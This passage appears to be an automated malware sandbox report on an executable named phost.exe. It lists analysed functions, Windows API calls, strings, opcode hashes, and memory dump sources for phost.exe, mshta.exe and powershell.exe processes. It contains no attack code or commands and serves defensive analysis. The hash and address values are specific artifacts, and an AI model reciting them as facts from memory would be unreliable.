Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: c7f5fdff7c0b40b6635b3f9850cf21a5be83d788788a684f503aa9329af71794
Instruction ID: 21bbfdc4fa60d17526116b583176e3885801a3bbe3f33e284f4aab1bed00e6c8
Opcode Fuzzy Hash: c7f5fdff7c0b40b6635b3f9850cf21a5be83d788788a684f503aa9329af71794
Instruction Fuzzy Hash: A451A132B196028ADF14DF19D844A3877B9FB44BA8F108131DA4E8B788EF3CE845D741

Function 00007FF62CC7EF48 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF62CC7EFA7
_CallSETranslator.LIBVCRUNTIME ref: 00007FF62CC7EFF3

Strings

MOC, xrefs: 00007FF62CC7EFBB
RCC, xrefs: 00007FF62CC7EFC3

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 1984f943fe60021c6db05f5888f7dd086acc6d0e2a461e0c712dd9be4fa02006
Instruction ID: 71abcc4a0febba02130c528a847957e0da1846a5304bbb3aa2e0e1e6892a3284
Opcode Fuzzy Hash: 1984f943fe60021c6db05f5888f7dd086acc6d0e2a461e0c712dd9be4fa02006
Instruction Fuzzy Hash: 2F619672A08BC586DB608B19E8803A9B7A4FB857E4F044225EB9C8B755DF7CD194DB01

Function 00007FF62CC77E10 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,?,00007FF62CC7352C,?,00000000,00007FF62CC73F23), ref: 00007FF62CC77F22

Strings

\, xrefs: 00007FF62CC77E87
%.*s, xrefs: 00007FF62CC77EDB
%s%c, xrefs: 00007FF62CC77E94

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: 517c45005fecb665460f06d6deeb7a52b86fc8f3bacaeb8cdec2a0b3fdaf0698
Instruction ID: ce0b23117cffd9741204111f3d758072f330bca0d4929f9d4084e34202f3c580
Opcode Fuzzy Hash: 517c45005fecb665460f06d6deeb7a52b86fc8f3bacaeb8cdec2a0b3fdaf0698
Instruction Fuzzy Hash: 9731D661719AC545FF218B29EC503AA6378EF84BF4F044231EA6D8BBC9DE2CD649D701

Function 00007FF62CC72810 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32 ref: 00007FF62CC728EA

Strings

Error, xrefs: 00007FF62CC728DD
ERROR, xrefs: 00007FF62CC7286F
[PYI-%d:%ls] , xrefs: 00007FF62CC72868

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: Message
String ID: ERROR$Error$[PYI-%d:%ls]
API String ID: 2030045667-255084403
Opcode ID: d0f77ace03032ad826a8cfca47aff52564341a40e7b1b64160a5aa56c6ce0663
Instruction ID: 24a560f3479708726e57acc49923e0921f0c0e9960ba8f992fff7ca860bd29c9
Opcode Fuzzy Hash: d0f77ace03032ad826a8cfca47aff52564341a40e7b1b64160a5aa56c6ce0663
Instruction Fuzzy Hash: 6821DE73B08B4192EB209B19F8447EA63B4FB88794F404136EE8D9776ADE3CD249C741

Function 00007FF62CC8C610 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF62CC8C68F
WriteFile.KERNEL32 ref: 00007FF62CC8C957
WriteFile.KERNEL32 ref: 00007FF62CC8C99D
GetLastError.KERNEL32 ref: 00007FF62CC8CA53

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 1ea6e931977968e7606fd026366deb17473f9f47aeaf25dd19fcfb7bb3399e1d
Instruction ID: d8d26d22b35318288283e7525eb07668d1e85dade767e9df46366f2c9971b01a
Opcode Fuzzy Hash: 1ea6e931977968e7606fd026366deb17473f9f47aeaf25dd19fcfb7bb3399e1d
Instruction Fuzzy Hash: 45D11472B19A818AEB11CF69D8406ED37B1FB447E8B448236DE5ED7B89DE38D046C341

Function 00007FF62CC8CFD0 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF62CC8CFBB), ref: 00007FF62CC8D0EC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF62CC8CFBB), ref: 00007FF62CC8D177

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 6e58aef6e17acf8d0a0aea0d946e1cce7a25eacb923cf4c64ad3114965f560b8
Instruction ID: 77335aec0e42fd1705b22e2900202b89684c68aab3852969dafa40764a352c3d
Opcode Fuzzy Hash: 6e58aef6e17acf8d0a0aea0d946e1cce7a25eacb923cf4c64ad3114965f560b8
Instruction Fuzzy Hash: 0B919472F1865295FB519F699C40ABE2BB0AF44BE8F144239DE0ED7685DF38D4828701

Function 00007FF62CC8F9FC Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF62CC8FAEC
_get_daylight.LIBCMT ref: 00007FF62CC8FAFD
_get_daylight.LIBCMT ref: 00007FF62CC8FB0E
_isindst.LIBCMT ref: 00007FF62CC8FBD9

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 4d98307b2f9efdc6516e3695475c092fba069f5f92b05f4e8f1f7e1348ba3a44
Instruction ID: 9e3e78a9366c6c5261d8b800243136ec92a4df68d373ed967d5fba4a87944466
Opcode Fuzzy Hash: 4d98307b2f9efdc6516e3695475c092fba069f5f92b05f4e8f1f7e1348ba3a44
Instruction Fuzzy Hash: 2251D372F081128AFF25DF289D55ABD27B1AB407B8F504235DE1ED2AE5DF39A4428701

Function 00007FF62CC857EC Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF62CC8581F
GetFileInformationByHandle.KERNEL32 ref: 00007FF62CC85881
GetLastError.KERNEL32 ref: 00007FF62CC85912
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF62CC85724), ref: 00007FF62CC8595E

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 9a0c598da5bacb08a65281ee6853743b6bc645484a6b27ddd69bc7d98502ecbe
Instruction ID: 29793d33bfc6032f87cb60117973c068b6ae1cb61288d16ba602b48e55620ad9
Opcode Fuzzy Hash: 9a0c598da5bacb08a65281ee6853743b6bc645484a6b27ddd69bc7d98502ecbe
Instruction Fuzzy Hash: 5D516D62F086418AFF11DF79D8507BE23B2AB48BA8F148635DE4D9B689DF78D4418702

Function 00007FF62CC720C0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF62CC720F4
SetWindowLongPtrW.USER32 ref: 00007FF62CC72116
GetWindowLongPtrW.USER32 ref: 00007FF62CC72140
InvalidateRect.USER32 ref: 00007FF62CC72160

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction ID: cd2147f3bebf089ffe8f942daa7e0d08e6bf949f80addf632e2bc888a597300d
Opcode Fuzzy Hash: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction Fuzzy Hash: B411AC31F1C14282FE54976DED4427952B5FF857A4F448030DB498BB9DCD2DD899A602

Function 00007FF62CC7D080 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF62CC7D0AC
GetCurrentThreadId.KERNEL32 ref: 00007FF62CC7D0BA
GetCurrentProcessId.KERNEL32 ref: 00007FF62CC7D0C6
QueryPerformanceCounter.KERNEL32 ref: 00007FF62CC7D0D6

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: c7e0dc91749b0d7e19b464317103f3c41f17e8dff95374d43b780ecdfe6bf67b
Instruction ID: 30a86eb453e76a9721887be65965a5b17c55db779209dd1300800f92d1fe55ff
Opcode Fuzzy Hash: c7e0dc91749b0d7e19b464317103f3c41f17e8dff95374d43b780ecdfe6bf67b
Instruction Fuzzy Hash: 7F113A32B14F058AEF008F65EC542B933B4FB59B68F040E35DA6D867A4DF38D1658342

Function 00007FF62CC89084 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC890B6

Part of subcall function 00007FF62CC8A9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF62CC92D92,?,?,?,00007FF62CC92DCF,?,?,00000000,00007FF62CC93295,?,?,?,00007FF62CC931C7), ref: 00007FF62CC8A9CE
Part of subcall function 00007FF62CC8A9B8: GetLastError.KERNEL32(?,?,?,00007FF62CC92D92,?,?,?,00007FF62CC92DCF,?,?,00000000,00007FF62CC93295,?,?,?,00007FF62CC931C7), ref: 00007FF62CC8A9D8

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF62CC7CC15), ref: 00007FF62CC890D4

Strings

C:\Users\user\Desktop\phost.exe, xrefs: 00007FF62CC890C2

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\phost.exe
API String ID: 3580290477-3962158096
Opcode ID: 2cf9991d5cc0f55d4af5251d222b056ff2fa25707e1fd1ed9fb4097698885552
Instruction ID: 6092133590d028b7397a533541ae74e3ffc510a30d331cd87eafde9870ce62ec
Opcode Fuzzy Hash: 2cf9991d5cc0f55d4af5251d222b056ff2fa25707e1fd1ed9fb4097698885552
Instruction Fuzzy Hash: 29416D32B08A5285EF1A9F29DC444BA23B4EB457E4B554135E94EC3B85DE3DE482C302

Function 00007FF62CC8F628 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF62CC8F668
GetCurrentDirectoryW.KERNEL32 ref: 00007FF62CC8F6BA

Strings

:, xrefs: 00007FF62CC8F67E

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: 4a9b1d6d16ab1fe6c903793d19c8bb2ed63e5c59599aead2cadc4c72b8df4769
Instruction ID: 9d2c86d8cd478c54ee3e874a0b3b69098077f951905a6eb395963df330aed0fa
Opcode Fuzzy Hash: 4a9b1d6d16ab1fe6c903793d19c8bb2ed63e5c59599aead2cadc4c72b8df4769
Instruction Fuzzy Hash: 94214872B0868182FF218B19D81463E33B1FB84B94F918235C68C83288DF7DE545C742

Function 00007FF62CC7FDB8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF62CC7FE08
RaiseException.KERNEL32 ref: 00007FF62CC7FE49

Strings

csm, xrefs: 00007FF62CC7FE36

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 4f0f6445cfedea8dceb7eb9436a550d57130d2c9509dbddfada5299d94659d4a
Instruction ID: c61f3df4c510bdd12ff0e8001e60e0a1449cac8e2fbe8132dc8b29c4fa9e55af
Opcode Fuzzy Hash: 4f0f6445cfedea8dceb7eb9436a550d57130d2c9509dbddfada5299d94659d4a
Instruction Fuzzy Hash: 92112E32618B8182EB618F19F94026977F4FB88B98F588230DA8D4B755DF3DD5558B01

Function 00007FF62CC907AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC907DC
GetDriveTypeW.KERNEL32 ref: 00007FF62CC9081C

Strings

:, xrefs: 00007FF62CC90805

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 12447209ac998d916ea5af24bee96286b8310982615a7f3bb8f9e7bff02e83a7
Instruction ID: c9f46e3962f408f0fb48dcd015578d8f863998336716b95769d9c5b2823da4c1
Opcode Fuzzy Hash: 12447209ac998d916ea5af24bee96286b8310982615a7f3bb8f9e7bff02e83a7
Instruction Fuzzy Hash: 71017C22B1824386FF21AF68986627E67B0EF48778F80413AD54DC6691DE3CE504DA56

Analysis Process: mshta.exePID: 3848, Parent PID: 2200COMMON

Executed Functions

Function 00000209ABCB0FC1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000003.1750099323.00000209ABCB0000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000209ABCB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_209abcb0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction ID: ced73fdcfaad286b6318cbdea608af9686425220c1b85d832fd56503da5f28f5
Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction Fuzzy Hash: FA9004047D551F75D41411D50C5DF5C517073CC170FD4C5C04457D0147D44D43D75153

Analysis Process: powershell.exePID: 2912, Parent PID: 5544COMMON

Executed Functions

Function 00007FFD991FA83C Relevance: 1.4, Strings: 1, Instructions: 197COMMON

Download Yara Rule

Strings

iR_L, xrefs: 00007FFD991FA8F4

Memory Dump Source

Source File: 0000000C.00000002.1826172617.00007FFD991F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD991F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd991f0000_powershell.jbxd

Similarity

API ID:
String ID: iR_L
API String ID: 0-1243337067
Opcode ID: b1aefb1552c0dae6aabad975546d9a58b0f591f318723bc2629ffc422ef22ad5
Instruction ID: be47889c21f230b3bd67dbab338e7b51be0e22f86a6f7c39e0f0b083854a3c20
Opcode Fuzzy Hash: b1aefb1552c0dae6aabad975546d9a58b0f591f318723bc2629ffc422ef22ad5
Instruction Fuzzy Hash: 0751463260DB894FE759DF28C8A58647BE1FF56318B1800BED4CAC71A7E919A807C742

Function 00007FFD992C3D5E Relevance: 1.4, Instructions: 1377COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1832061601.00007FFD992C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD992C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd992c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d1e7d8430679f3eb70157400454396753b0ef7f9c4fb9f713c2d28f4a329962
Instruction ID: 4238ff2f2e86a6a0580251a2ca6d673d3fbff955056a34d6da511c790d93fd21
Opcode Fuzzy Hash: 3d1e7d8430679f3eb70157400454396753b0ef7f9c4fb9f713c2d28f4a329962
Instruction Fuzzy Hash: 50825822B0EBC90FF766AB6858255B57FE1EF9A214B5801FBD089C71D3E9186C078353

Function 00007FFD992C67F5 Relevance: .4, Instructions: 443COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1832061601.00007FFD992C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD992C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd992c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f4777f422e77ef4fb9a7bb8236b10a6b72b0eba5655a3cd291d222910bd7dbb
Instruction ID: 4314d03cfe38f4d1068f395c7e7ac980f01b14c414c15c032a0c020cd576788b
Opcode Fuzzy Hash: 2f4777f422e77ef4fb9a7bb8236b10a6b72b0eba5655a3cd291d222910bd7dbb
Instruction Fuzzy Hash: C7D13B22A0DACB4FFB65EFA848645B57B91EF66318B5801FED05DC70D3E919AC06C342

Function 00007FFD991FB368 Relevance: .4, Instructions: 368COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1826172617.00007FFD991F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD991F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd991f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 530a0ad2a8b6960f29f60117b27c01e82209e6622fc8c0d887166e41ace8f62a
Instruction ID: 3aed97073ce0dbadffada5973a48f751f0d0d971a23cd7c4d61886fb35d959f5
Opcode Fuzzy Hash: 530a0ad2a8b6960f29f60117b27c01e82209e6622fc8c0d887166e41ace8f62a
Instruction Fuzzy Hash: 33B13371B1CB484FE759DF18C895AB5BBE0FF95310F14017ED08AC32A6DA25A846CB42

Function 00007FFD991FA0F3 Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1826172617.00007FFD991F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD991F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd991f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfafa6b1d014dc1e1cd631303064e13b9ebd4061e2eb6ea1de4978c28c4f1bae
Instruction ID: 2894222eb5659c05e88333c6006d91ac7d03c5b0945cdb0d7cfd2399ed9fe8c7
Opcode Fuzzy Hash: dfafa6b1d014dc1e1cd631303064e13b9ebd4061e2eb6ea1de4978c28c4f1bae
Instruction Fuzzy Hash: ED41FAA3B0E9DA4BE712CF6888A60D43BA0FF21118B4841F6C4DD8A0D7FD19241AC653

Function 00007FFD991F9870 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1826172617.00007FFD991F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD991F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd991f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a5dc842ba9796f0abfe717635209f3b0bf18c91340aa70f0c6dcb3e5063f0f6
Instruction ID: c6e67d33893079db4d980f321ac252a27810119ad8585e81e8b7ccca32078dfc
Opcode Fuzzy Hash: 5a5dc842ba9796f0abfe717635209f3b0bf18c91340aa70f0c6dcb3e5063f0f6
Instruction Fuzzy Hash: 7D412671A0CB8C4FDB189F5C9C466E97BE1FBA9311F04426FE45993292CA21A815CBC3

Function 00007FFD990DE620 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1818283992.00007FFD990DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD990DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd990dd000_powershell.jbxd

Similarity

API ID:
String ID:
